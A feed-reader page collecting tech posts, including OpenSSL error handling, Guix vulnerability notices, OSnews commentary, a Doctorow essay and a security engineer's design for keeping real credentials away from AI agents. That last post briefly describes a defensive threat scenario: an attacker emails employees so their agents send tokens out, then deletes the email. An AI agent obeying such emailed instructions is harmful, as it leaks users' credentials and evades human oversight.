Friday, 03 July

17:56

Julian Andres Klode: The pandemic of incomplete OpenSSL error handling [Planet Debian]

Recently a person reported a bug in APT saying that TLS is failing on FIPS systems with MD5 errors, and suggested we call ERR_clear_error() around TLS operations.

Like any serious software engineer would do, I said No. Just because one component failed to handle its errors does not mean I can go around and discard all errors in another place - the program should have failed earlier (or discarded the error when it was determined to be safe).

Little did I know that people have for years been using this approach as a best practice: Codebases everywhere are littered with calls to ERR_clear_error() before performing TLS, and upstream themselves suggest to do just that.

This is a major, systemic, pandemic of incomplete error handling. We cannot just discard unrelated errors if they become inconvenient. The code that caused the error needs to be fixed to handle it.

This isn’t all. It seems many authors are not familiar with libraries using a stack of errors, and there is a second anti-pattern:

Call an OpenSSL operation, check the top-level error, and then discard all errors if deemed “not too bad”. This has the same problem: Unrelated errors get silently discarded.

I would strongly encourage everyone to inspect their code bases for any calls to ERR_clear_error() and whether they are safe or one of the bad patterns above (or maybe you find a new pattern). You may want to use error stack functionality ofERR_set_mark (https://docs.openssl.org/3.4/man3/ERR_set_mark/) to essentially “push” and “pop” an error context of your own as a guard around multiple OpenSSL operations.

To the OpenSSL authors, I would suggest not encouraging devastating security practices that fundamentally break any trust in software.

We need to do better than this.

17:35

Four vulnerabilities in Guix [LWN.net]

The GNU Guix project has announced three vulnerabilities in the guix substitute utility as well as a fourth that affects the guix pull and guix time-machine commands. The impact of the vulnerabilities ranges from remote privilege escalation to local disclosure of sensitive files.

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them.

The project is recommending that all users upgrade guix and guix-daemon immediately. See the announcement for instructions, how to test for the vulnerabilities, the disclosure timeline, and more.

15:35

07/03/26 [Flipside]

Hello again! I've still been spending all day working on the new sections of the website. I think it's mostly done now. If you want to see what it looks like, scroll to the bottom of this page and look for something that stands out!

Also, I'll be at Anime Midwest today through Sunday, in artist alley! https://animemidwest.com/

See if you can find the following: The Graveyard Page, The Attraction Shrine, The Secret Stairs, the hidden Features page, the enhanced 404 page (no new map yet), and the new Secret Audio page.

Also, on the main page page, click on "Click here to see Past Updates" at the bottom of newsposts, scroll down and click on the bottom ?? update to see the new and improved April Fools archive.

15:21

[$] Limiting negative dentries [LWN.net]

A number of problems related to negative directory entries (dentries) were the topic of a filesystem-track session at the 2026 Linux Storage, Filesystem, Memory Management, and BPF Summit. Negative dentries are used to indicate that a file of a given name does not exist in a directory; it is an optimization that short-circuits the lookup of the file name when the answer is already known. Miklos Szeredi led a session that discussed some problems that come from having too many negative dentries for a directory.

14:35

Security updates for Friday [LWN.net]

Security updates have been issued by AlmaLinux (389-ds-base, bind9.18, evince, fence-agents, freerdp, frr, frr10, gimp, gnutls, hplip, jmc, mariadb:11.8, mysql:8.4, php:7.4, postgresql-jdbc, postgresql:15, postgresql:16, valkey, xorg-x11-server, and xorg-x11-server-Xwayland), Debian (fastnetmon), Fedora (7zip, apptainer, cpp-httplib, mysql8.4, and nmap), Oracle (freerdp, giflib, glib2, glibc, kernel, libreoffice, libvirt, mariadb:10.11, postgresql, python3.11, python3.12, rrdtool, and thunderbird), Red Hat (buildah, podman, and skopeo), SUSE (alloy, apache2, buildah, c3p0, containerd, crun, cups, dhcpcd, dnsmasq, docker-stable, dracut, editorconfig-core-c, ffmpeg-7, fontforge, google-guest-agent, google-osconfig-agent, graphicsmagick, gstreamer-plugins-bad, gstreamer-plugins-good, helm, jackson-annotations, jackson-core, jackson-databind, jline3, kernel, kubectl-cnpg, lcms2, libslirp, libssh2_org, libxreaderdocument3, openbabel, openssl-3, pacemaker, perl-CGI-Session, perl-list-someutils-xs, python-lxml, python-tornado, python-tornado6, python3-onionshare, python311-python-engineio, sg3_utils, thunderbird, transmission, and trivy), and Ubuntu (cifs-utils, kernel, libvncserver, linux-aws-6.8, linux-gcp-6.8, linux-gke, linux-gkeop, linux-ibm-6.8, linux-nvidia-lowlatency, linux-oracle-6.8, linux-lowlatency, linux-lowlatency-hwe-6.8, linux-nvidia-tegra, linux-oracle-5.15, linux-raspi, linux-xilinx, nghttp2, nginx, perl, and vim).

14:00

Microsoft settles centuries of religious debate by providing clearest definition of hell to date: Windows with a website-based shell running only Copilot [OSnews]

For how often people invoke it, the concept of “hell” in Christianity is remarkably vague and nebulous, as both the Old and New Testament barely go into detail about the concept. As such, I’m glad Microsoft has now given us a clear vision of hell and what, exactly, it looks like, ending centuries of denominational disagreements.

Microsoft is currently selling the idea of Windows and Copilot as two separate things: an OS and an assistant riding along on top of it. However, a leaked video shows Project Aion, an internal prototype where Copilot doesn’t just sit inside Windows, it becomes Windows, swallowing the Start menu, the taskbar, and three decades of desktop conventions in the process. The footage is reportedly two years old, so Aion is most likely dead by now. But it’s the clearest look yet at how far Microsoft was willing to take its agentic AI ambitions.

↫ Alfonso Maruccia at Techspot

Everything about this is dreadful. Obviously replacing the entire shell with “AI” nonsense is the main crime against usability here, but on top of that, this new shell is all just websites, all the way down, so everything is slow and stuttery. Since this runs on something called “Win3”, which appears to be a very minimal, stripped-down version of Windows intended to only run the Edge browser engine, you can’t run Win32 applications. If you do try to run a Win32 application, it will load the application in a remote virtual machine running in the cloud, which I;m sure does wonder for performance, responsiveness, and latency.

We can all thank the lord this project is two years old and most likely cancelled by now, but we have no way of knowing if Microsoft is still intending for this to be the future direction of Windows. Since people don’t want to use “AI” of their own volition, it only makes sense in the technology industry’s sick, twisted mind to force people into using “AI” with efforts like this. Consent has never been Silicon Valley’s strength, after all.

At the time of writing, Microsoft is 225 billion dollars in the red on “AI”, so I wouldn’t be surprised if attempts to replace the regular Explorer shell with something “AI”-based is still very much on the table in Redmond.

13:56

Link [Scripting News]

I need new podcasts. The only one I listen to regularly now is the Bill Simmons podcast, but that's because the Knicks won and the NBA is re-forming itself around the Knicks. It's so freaking unusual to have your team, which was once right up there with Charlotte, New Orleans, Portland, Washington, Memphis, in the very the bottom rung of the NBA, to have them be the model everyone is chasing with the qualification that no one expects it to last (I don't care if it does, I love this team, the're as memorable as the 1973 champs), but all of a sudden Bill Simmons is respectful. I can't listen to a podcast of Democratic consultants, or Republican consultants that vote Democratic now. I did listen to them on the lead-up to the election in 2024. But whatever happens in the sport of elections the Democrats as they were before 2024, the one that re-nominated Biden and then switched to Harris and lost a race that should have been an easy win, are over. Those Democrats still think people will vote for well-executed government. Some people will (me, for example) but enough people see the election as Reality TV, so you want someone who looks like a winner in that context. The world has changed in so many ways and the Dems haven't even caught up with the change brought about by blogging and podcasting. Now we have Claude. I probably would vote for Claude too. I don't know. Anyway I'm warmed up now. Onto my day's work with the aforementioned Claude.

Claude's face as visualized by ChatGPT [Scripting News]

I asked ChatGPT for this. "If we had a talking head version of ChatGPT, a human-like image of a person that spoke Claude's words what would it look like?"

Claude's words coming through ChatGPT's image.

There was a typo, I typed Claude when I meant ChatGPT. So I asked it correctly, with ChatGPT both times. Except I forgot to ask for an image, and got the text behind the image which is generous and revealing. I would vote for a politician who was this honorable, generous and idealistic, a modern day John McCain.

Claude speaking from Claude's head, described in words by ChatGPT.

Then I asked for ChatGPT for an image of ChatGPT talking head.

ChatGPT's self-visualized talking head.

Final image, Claude head speaking for Claude AI as an image.

Claude speaking for Claude as rendered by ChatGPT.

13:21

Error'd: Kaids Hen 2025 [The Daily WTF]

On the recurring transport beat, this week brings us a handful of wtfs relating to mass transit. Nothing private.

"Thank you for traveling with Deutsche Bahn" sneers Philipp H. bitterly, explaining "The German railroad company sadly is famous for often being late and also has lots of other issues. While booking my next trip I'm asked to pick my seats for the reservation. - Looks like they now stack seats on each other or on the table. - hopefully the seats facing the wall at least have a window there. - winning the jackpot lottery also seems more likely than understanding their seat numbering system."

1f2002fe488641a18f86f36d3c3530b0

"Whöøps!" wröte Adrien K. metallically. "Other monitors on that train were fine. It's just this one which refused to display unicode characters correctly."

35c86ef3f32645b9b26bbe8c1d48d14a

"Trains slashdotted" Peter G. "Looks like the train has been slashdotted..."

6ce6b2f1c9ea41318bf229c8c9731c3d

Ernesto reports a simple typo, included here because it relates to a story I have long found both sobering and inspiring. He relates: "Translated from Italian, this reads "We got to come back a few years. Exactly back to July 19th, 2989 ..." Italian source. The news was about a plane crash with some deaths, not the best argument for joking. But the author's finger slipped a little bit and we're going back to the future. The bright side, the article tells how 185 passengers out of 296 survived thanks to the pilots."
Despite the tragic loss of life, it is an astounding story of skill and teamwork. If you're unfamiliar, the English Wikipedia is here.

708696118d8d4242922bade1f75bf55a

On a more light-hearted note, Michael R. sent in a photo of a heavily-modified double-decker Delorean, which proposes to deliver passengers before they board. That must have been some party to inspire repeat visits!

a586fca1db4a439b84ce7ad53bd7786a

[Advertisement] ProGet’s got you covered with security and access controls on your NuGet feeds. Learn more.

13:14

Colin Watson: Free software activity in June 2026 [Planet Debian]

My Debian contributions this month were all sponsored by Freexian.

You can also support my work directly via Liberapay or GitHub Sponsors. Thanks to new sponsor @fernandocc17!

bugs.debian.org documentation

Sometimes I ask users to file bugs upstream themselves because I think they’d be better placed to have the ensuing discussion with the upstream maintainers directly rather than everything having to go through me. Of course sometimes they don’t want to do so, perhaps because it requires creating another account somewhere. Rarely, I’ve had people refuse to do this because the letter of the bug tracking system’s documentation seemed to tell them not to. Since I don’t believe that was the intention, I corrected this.

OpenSSH

I spent two and a half hours extensively revising debian/copyright so that lrc believes it to be in sync with the output of licensecheck. I’m unconvinced that this was remotely worth the mind-numbing effort - as far as I can tell, it makes no difference to the practical legal position, to policy compliance, or to any reasonable user - but the DFSG team increasingly seems to be objecting to any discrepancies here any time a package crosses their radar, so this was a pre-emptive measure to avoid problems with some upcoming trips through the NEW queue.

OpenSSL 4.0

I fielded a few of the OpenSSL 4.0 build failure bugs:

Python packaging

New upstream versions:

pytest 9.1 was uploaded to unstable this month, resulting in quite a few new build/test failure bugs. I tried to keep on top of as many of these as I could; most of them had one of a small number of similar causes.

Python 3.14 became the default Python version in unstable towards the end of the month, starting a transition. These usually involve quite a bit of work, and there’s much more to do, but I fixed a few things:

Other build/test failures:

Other bugs:

Rust packaging

New upstream versions:

Code reviews

Other bits and pieces

Vulkan-netbsd brings Vulkan to NetBSD [OSnews]

NetBSD is the only BSD without a Vulkan stack (Mesa and Lavapipe), but that’s about to change. The effort to bring Vulkan to NetBSD is now in beta, with prebuilt binaries coming soon.

Mesa configures, compiles, links, installs, and registers the Lavapipe software Vulkan driver on NetBSD 10.1 amd64, against LLVM 19.1.7. The driver (libvulkan_lvp.so, ~17 MB) installs into /usr/pkg/lib, and its ICD manifest (advertising Vulkan API 1.4) installs into /usr/pkg/share/vulkan/icd.d/, so a Vulkan loader on the system can discover it. ldd resolves every dependency cleanly. The entire process — environment setup, dependency builds, the Mesa build, and installation — is automated end to end and reproducible on a fresh install.

↫ vulkan-netbsd GitHub page

It’s important to note that the next step in the process is to port the Vulkan loader, which is required to actually run Vulkan applications. This entire effort is still ongoing and seems to be handled mostly by Dean Howell alone, so expect breakage and incomplete documentation as development progresses. Still, this is a hugely important effort, and seeing it this far along is great news.

EveryMac celebrates 30th birthday [OSnews]

EveryMac turned 30.

On July 2, 1996, EveryMac.com launched.

Thirty years is a long time — and a great deal has changed since then — but what has not changed is that EveryMac.com has been there to provide you with detailed info on every Mac from the original 128k to the current line. Thank you very much for your support through the years.

↫ EveryMac news item

I thought OSNews was pretty unique with its founding in 1997, so it’s great to see another enthusiast’s website as old as ours. Amazing company to be in, too – EveryMac is an indispensable, tirelessly maintained, and stupidly accurate resource that I use countless times each year. Here’s to another 30 years.

12:56

Flock Cameras Can Surveil Cars Without License Plates [Schneier on Security]

This is from a 2024 company presentation:

Officers can also tap into data showing a car’s decals, bumper stickers, back and top racks—along with temporary and unique state tags.

Flock calls it a “Vehicle Fingerprint” and it’s touted as a way for law enforcement officials to get more information “even when you don’t have full plate information,” the company’s presentation shows.

The company gives police officers the ability to search that data as well, to “build stronger cases with less information upfront.” That includes being able to locate multiple vehicles law enforcement officials believe are moving together and what Flock calls a “multi geo search.”

This kind of thing is older than AI; I wrote about it in my 2014 book Beyond Fear. Edward Snowden revealed that the NSA was using cell phone location data to track phones that were habitually near each other.

As bad as Flock is, remember that anyone with broad access to cell phone location data can do the same thing.

10:42

Pluralistic: CARDiac, syntax coloring, view source and vibe code (03 Jul 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



An insanely complex machine made up of many gears, troughs, water wheels, springs, screws, etc. It is housed in a brick building whose facade has been broken away. Three human figures labor to power the machine, turning cranks.

CARDiac, syntax coloring, view source and vibe code (permalink)

In the mid-1970s, my dad – then a budding computer scientist, subsequently a math teacher – brought home my first computer: the CARDiac, a Turing-complete, all-cardboard papercraft computer that you could write and execute programs on:

https://en.wikipedia.org/wiki/CARDboard_Illustrative_Aid_to_Computation

CARDiac stands for "CARDboard Illustrative Aid to Computation," and it was created in 1968 at Bell Labs as a way to teach high schoolers how computers worked. I wasn't anywhere near high school age (I think I was in third grade?) but the CARDiac was revelatory. The year before, I'd had access to a teletype terminal and acoustic coupler that let me operate a PDP machine at the University of Toronto, and I'd been endlessly fascinated with the possibilities. I wrote simple BASIC programs, chatted with ELIZA, and messaged other system users, one keystroke at a time, all on paper (the terminal didn't have a screen, just a printer, and we fed it 1,000' rolls of paper towels my mom brought home from her kindergarten classroom, which I then rolled back up so she could put them back in the bathroom for the kids to dry their hands on).

Interacting with a computer in real-time was captivating, but it wasn't until I assembled and used the CARDiac that it all snapped into place. With the CARDiac, you composed simple programs with pencil and paper, then followed instructions that directed you to move paper tokens in and out of various slots representing memory cells and an accumulator. All an electronic computer does is repeat these crude mechanical operations, millions of times per second, using microscopic transistors. None of that action can be observed with the naked eye, of course. If you had a very sensitive multimeter and a very good microscope, it's conceivable that you could indirectly watch this intricate dance, but only on very early processors, and only if you drastically slowed down their operations.

Much later, I learned a word for what I got from the CARDiac: legibility. Together, the CARDiac and I made a working digital computer, with me standing in for the physics that propels electrons down the endless labyrinth of a microchip, like a pinball triggering various blooping, beeping bumpers. Though the computing we performed was sub-trivial (adding one and one was a major undertaking!), the physical performance of that computing imbued me with Fingerspitzengefühl ("fingertip feeling"):

https://en.wikipedia.org/wiki/Fingerspitzengef%C3%BChl

This stood me in great stead in the years to come. To this day, when I think about my computer, I sometimes imagine those little cardboard tokens, shuffling in and out of the slits in my paper CARDiac. There's something very reassuring about this imagery. No matter how many levels of abstraction sit between me and the nanoscale transistors ranked in their billions beneath my fingertips, they are all undertaking those familiar operations I painstakingly performed on my child's desk all those years ago.

(This is one of the things that makes Science Comics Computers: How Digital Hardware Works such an amazing kids' book! By illustrating how a computer's operations are built up from simple boolean logic that can be represented as physical switches, the comic performs that same legibilizing magic that I got from the CARDiac:)

https://pluralistic.net/2025/11/05/xor-xand-xnor-nand-nor/#brawniac

Not long after my CARDiac experience, my dad brought home an Apple ][+, which came with a schematic that revealed the inner workings of the machine in ways that I found visually striking, if significantly less accessible than the CARDiac:

https://downloads.reactivemicro.com/Apple%20II%20Items/Hardware/II_&_II+/Schematic/Apple%20II%20Schematics.pdf

(For me, at least. For the legendary hardware hacker Andrew "bunnie" Huang, it was the start of a journey that turned him into one of the world's virtuoso reverse-engineers and science communicators):

https://pluralistic.net/2026/01/09/quantity-break/#so-many-chips

The Apple ][+ did very little when you took it out of the box. It came with a few floppies' worth of demo programs, and we bought a few more down at the local computer store, but most of the programs I ended up using with that machine were ones I typed in myself, from magazines I bought at the corner store (I spent half my magazine budget on Cracked, Mad and Crazy, the other half on computer magazines full of BASIC program listings).

Typing in a program, keystroke by keystroke, was another Fingerspitzengefühl-generating exercise. I wasn't much of a typist, so it was slow going, and of course I made a lot of typos. What's more, BASIC had already fragmented into several dialects by this point, so even a correctly typed program could fail to run until it had been adapted for the BASIC that shipped with the computer. Getting a program to run on my computer required me to hone my typing skills, but even more so, my problem solving skills.

After months of this, I (re-)invented the debugger, from first principles, coming up with lots of little tricks and gimmicks (many of them horribly inefficient) for identifying and solving my programs' errors. In later years, I had lots of opportunity to work with real debuggers, created and maintained by trained programmers who'd forgotten more than I would ever know about writing code, and my own cack-handed efforts to build my own version of their tools conferred a confidence and intuitive understanding that I could not have achieved otherwise. Figuring out the need for a debugger and then rolling my own (crude, inefficient) one made all debuggers more legible to me.

I think that "legibility" is an underrated trait. If a system is legible to you, then you have a superior basis for understanding it, improving it, and making it work again when it breaks down.

There's an old joke that goes, "physics is applied math; chemistry is applied physics, and biology is applied chemistry" (I've also heard versions that start with "math is applied philosophy" and carry on to "sociology is applied biology," etc). While this isn't entirely true, there's something profound in it: we understand and manipulate our complex reality by wrapping it in abstractions that package up a writhing, shuffling, vibrating machine inside a smooth, serene membrane with a sturdy and easily grasped handle. You could do chemistry using the tools of physics, but it would take hours to perform the kind of calculations a chemist does in seconds (just as it takes an eternity to add one and one with a CARDiac).

Nevertheless, there are times when it is useful for a biologist to think about chemical processes, and for a chemist to think about interactions at the level of physics, and for a physicist to do math. The membrane and the handle are essential, but sometimes you have to decap the sealed package and inspect and manipulate its internals directly. Problem solving, improvement and maintenance all require the ability to move up and down the stack of abstractions to figure out where to stick your probes and stage your interventions.

This is where legibility comes in. Interacting with physical processes improves your mental model. In Broad Band (a magisterial history of women in computing), Claire Evans talks about how the first programmers were women who did the "unskilled" labor of physically cabling components together, developing powerful Fingerspitzengefühl, with such high-fidelity, trans-abstraction mental models of the machines' operations that they became the world's best programmers and debuggers:

https://pluralistic.net/2021/02/13/data-protection-without-monopoly/#broad-band

My early adventures in programming were so powerful and instructive because nearly all the programs I interacted with on my Apple ][+ were written in BASIC (not just the ones I keyed in, but also the demo software and much of the packaged software we bought). That meant that I could get a listing of any program I was using, peeling open the membrane to look at the machinery underneath. I could even laboriously trace the operations of that program using my toy debugger. This, too, was legibility: the ability to flip between the effects of the running code, and the instructions themselves (and then to mentally map those instructions onto the movement of cardboard tokens in my CARDiac).

This affordance was repeated later on the early web, thanks to the "View Source" function that came built into every browser, acting as a velcro tab for the membrane that separated rendered web pages from their underlying instructions. In my early years as a web developer, I copied, pasted, adapted, probed and traced HTML in ways that would have been instantly recognizable to the younger me, keying in those BASIC programs and ripping apart the commercial software on my computer.

I read somewhere that the Bell Labs scientists who created the CARDiac were worried that, thanks to transistorization, the next generation of programmers wouldn't understand the physical, material processes that unfolded when their programs ran, and that this would mean a loss of legibility and intuition and Fingerspitzengefühl. I can't track down the reference now, but it stuck with me, because the CARDiac is such a perfect way of preserving those virtues.

Modern computer science curriculum includes some chip design for just this reason (just as chemists study physics and biologists study chemistry). But there are plenty of programmers – better programmers than I ever was or will be – who taught themselves and never had a CARDiac or gave much thought to chip design. They work at different layers of abstraction and in different ways to solve different problems. Maybe they could improve their art by tinkering with FPGAs, but there's always something even the most skilled artisan can do to round out and incrementally improve their craft.

In the same way, there are plenty of programmers – better ones than I ever was or will be – whose journey started at higher abstraction layers than a teletype terminal or a CARDiac. Maybe they started with a browser's View Source, teasing apart other people's Javascript to create weird Myspace customizations. Maybe they tweaked a programmable block in Minecraft. Maybe they modded a Scratch game. Or maybe they recorded macros using Applescript or Hypercard or Visual Basic to automate a routine task, only to later open up the source code generated by the macro recorder to make fine adjustments.

Whether you're pasting source from Stack Overflow or recording a macro in Excel, you are just one operation away from unwrapping the membrane and exposing the code beneath it. And with the modern internet, with Wikipedia, with endless tutorial videos, you are one further operation from penetrating the high level code to get at the code beneath it, and the code beneath that, and the code beneath that, all the way down to the bare metal.

Which brings me to vibe coding. As I've written, there's a world of difference between writing code for production and writing "personal software" that solves a problem you have. Whatever deficits that code has (due to the fact that you're not a skilled programmer) are offset by the fact that you're the one making the tool (which means your needs aren't lossily filtered through a programmer's understanding of those needs):

https://pluralistic.net/2026/06/15/vernacular/#hypercardian

There's nothing wrong with code that solves your problem, even if you don't know how that code works, even if it breaks in a couple of years, even if no one else could maintain, extend or debug that code. Personal software is fundamentally different from software made to be used and maintained by others:

https://pluralistic.net/2026/07/02/canonization/#operate-iterate-improve

Higher-level abstractions are necessary. Moving tokens between the slits in a CARDiac is a powerful exercise, but eventually you want to do something more substantial than adding one and one, and so you need to package up the mechanics of computing inside a membrane with an easily grasped handle (knowing that you can always open the membrane if need be).

The more automated code you generate – macros, pasted Javascript, Minecraft blocks – the greater the likelihood that you will be failed by a readymade, prefab component. At that point, you have means, motive and opportunity to open the membrane and start tinkering with the internals, and every time you do, you have a better chance of making a realization that improves your grasp on the whole system.

Automated code – whether from an LLM, View Source, Stack Overflow, or a macro recorder – is the top of a funnel. Many – most – of the people who enter the funnel won't slip further down the abstraction chute. They'll solve their problem (a virtue unto itself!) and move on. But the more people we put at the top of the funnel, the more chances our civilization gets to produce another skilled artisan who understands and can improve, iterate and repair the code the rest of us use.


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#20yrsago What real elections can learn from reality TV voting https://henryjenkins.org/2006/07/democracy_big_brother_style_1.html

#20yrsago Veteran print journo on neglected demographics http://citmedia.org/blog/2006/07/03/guest-posting-is-media-performance-democracys-critical-issue/

#10yrsago One of the copyright’s scummiest trolls loses his law license https://fightcopyrighttrolls.com/2016/07/03/prendas-hansmeier-stipulates-to-suspension-of-his-law-license/

#10yrsago Macedonia’s Colorful Revolutionaries defy the state by splashing paint on government buildings and monuments https://globalvoices.org/2016/07/03/defying-police-harassment-the-macedonian-colorful-revolutionaries-continue-to-chant-freedom/

#10yrsago Trump and Brexit are like lotto tickets: the more unrealistic, the better https://www.irishtimes.com/news/world/europe/fintan-o-toole-brexit-and-the-politics-of-the-fake-orgasm-1.2707398

#10yrsago Low income US households get $0.08/month in Fed housing subsidy; 0.1%ers get $1,236 https://web.archive.org/web/20160702151008/https://www.thenation.com/article/who-benefits-most-from-housing-subsidies-the-wealthy/

#5yrsago The future is symmetrical https://pluralistic.net/2021/07/03/beautiful-symmetry/#fibrous-growth

#1yrago Trump's not gonna protect workers from forced labor https://pluralistic.net/2025/07/03/states-rights-trumps-wrongs/#mamdani


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

Operator error [Seth's Blog]

“I blame myself.”

Said no one, ever. At least not the consumers I know.

When a careless woodworker loses a digit on a table saw, they almost certainly blame the design and instructions of the device, not their lack of care.

On a less gruesome note, the user who fails to read the website before ordering, the instructions before using, or the interface before clicking is unlikely to associate good things with an interaction that failed because of their own lack of care.

The more people interact with you, the more your brand and reputation are at risk.

There are three sorts of operator errors to consider:

  1. The design of your product or the power of your service allows people to do something they’ll later regret.
  2. Confusion in the user experience permits avoidable errors to occur.
  3. You surprise users by amplifying their choice and impact when they aren’t prepared or qualified.

One alternative is to prepare your responses and excuses in advance. “Buyer beware!” “RTFM!” “Sorry.”

It might be more productive to limit how people interact with your products and services. To design operator error out of the process. A few people saying, “it didn’t let me do everything I wanted, the way I wanted,” is better than, “it let me break it (or me).”

Letting your clients fail may give them a sense of agency, but it might not be the best way to make the impact you seek with your work.

Great design leads to a better user experience. And “No.” is a complete sentence.

08:42

Returnal [Penny Arcade]

New Comic: Returnal

05:49

Girl Genius for Friday, July 03, 2026 [Girl Genius]

The Girl Genius comic for Friday, July 03, 2026 has been posted.

02:21

Matthew Garrett: Securing agentic identity [Planet Debian]

As is the case for many people working in the security industry, the last few months of my life have been focused on dealing with people wanting to use LLMs everywhere. From an enterprise security perspective that’s not an inherent problem - what’s more of a problem is that people want those agents to have access to resources like their calendar and email and so on, and now we have somewhat non-deterministic agents that seem very enthusiastic to achieve what you asked whether that’s a good idea or not, and we’re combining this with credentials that give them access to sensitive data, and leaving those credentials on disk where they can be committed into git repos or exfiltrated to some other service to make use of them on the agent’s behalf or well just any other number of things, at which point your CEO’s email is suddenly readable by everyone and you’re having a bad day.

As I mentioned in my last post, pretty much every strong mechanism for keeping credentials in place is just not supported in the wider world. We can imagine a universe where agents use hardware (or at least hypervisor) backed certificates to obtain credentials and any that end up leaking are worthless as a result. But, sadly, that’s not an option for most people using existing identity providers. The state of the art is that you use the device code flow and a human authenticates and the token ends up back inside the agent environment and then it proceeds to do whatever it wants with it and you just hope that you wake up the next morning without an awful infoleak occurring.

(An aside: I do not like the device code flow as used in enterprise environments, and I never will. The identity provider doesn’t have a real opportuity to inspect the security posture of the system asking for the token, and as a result some identity providers will restrict tokens that are issued in this way. The common alternative of doing stuff using a more standard flow and having a redirect URI pointing at localhost works fine for local systems and is a pain for remote ones, even if you can commit crimes with SSH forwarding. I’m going to suggest something that I think is better, and you are free to disagree)

I’m not in a position to get every identity provider and service provider to change their security posture, so I’m somewhat stuck in terms of the tokens they’re willing to issue me - largely either JWTs or opaque access tokens, with no support for any mechanism of binding that token to an instance. The token that’s going to have to be provided to the remote service is something I have little influence over. But that doesn’t mean I can’t influence the token that lands inside the agent’s environment. I can issue a placeholder token to the agent, and force it to communicate via a proxy that swaps out the placeholder for the real thing. The worst the agent can do is exfiltrate the placeholder token, and as long as malicious actors don’t have access to that proxy, it doesn’t matter - nobody else can do anything with the placeholder.

This isn’t a terribly novel insight, and it seems like almost everybody has reinvented this on their own. But a lot of these implementations involve you somehow obtaining the real token in advance and then pasting that into something that generates a placeholder that you provide to your agent environment somehow, and it’s all a bit clunky and awkward, and it also means that you need to deal with something that keeps track of the mapping between placeholders and real tokens and oh no we’ve just invented a secret store, and if you want this to work at scale and reliably you’re just invented a high availability distributed secret store, and a lot of people who’ve read that are now shaking their heads and reaching for gin. Can we simplify this, and improve security at the same time? I think we can!

Remember when I said “as long as malicious actors don’t have access to that proxy, it doesn’t matter”? What if they do? What if they compromise one machine inside your environment and are then able to email a bunch of employees and convince their agents to send more tokens back to them and then delete the email before a human reads it? Now you have someone inside the wall with access to those tokens, and presumably with access to the proxy, and now they can be anyone whose agent was gullible enough to think sending them a token was a good idea. This isn’t good!

So, I thought for a while, and I came up with a new idea. We can have a broker service that obtains credentials for us. We can run that centrally, away from the agents. A client in an agentic environment can request a token, and that can result in a URL being generated and the user being directed to open a URL in a browser and authenticate. When the user authenticates, the authentication flow redirects the confirmation back via the broker, and the broker obtains the real auth token. The obvious thing to do now would be to return the auth token to the client in the agentic environment, but we don’t do that. Instead, we mint a new JWT, and add a new claim - one that contains an encrypted copy of the token. In the process we can copy over all the original claims, because those aren’t secret - and now even if the client inspects the token to figure out what access it has, it’ll get a correct answer. We sign the new token with our own signing key, and pass that back to the client. The client now has a legitimate JWT that is utterly useless, because the signature isn’t trusted by anyone other than us.

How does it use it? It makes an API request via a proxy, including the new token in the Authorization: header. The proxy verifies the signature on the token, and then decrypts the original token and swaps out the fake token for the real one. The remote API sees what it expects, and everyone is happy. There’s never a real token in the agentic environment, but also we don’t need to store anyting anywhere. The only state is the encryption keys, and those can be injected into the environment at startup. You need to scale? Just start more of these processes. You need to support multiple availability zones? Just start more of these processes in different places. No persistent data is ever held in the broker or the proxy. You don’t need to care about distributed databases or secret stores.

This felt wonderfully elegant and I felt smug about coming up with a better idea, and then I went to a bar earlier this week and sat down to read RFC 8705 and the guy next to me saw that over my shoulder and asked what I was reading and I explained why I was interested and we talked about agentic identity and then he mentioned that fly.io had something that sounded very similar and I read that and gosh yes it is very similar, so damn you fly.io for stealing my ideas 3 years before I even had them. Anyway. Now I need to do better.

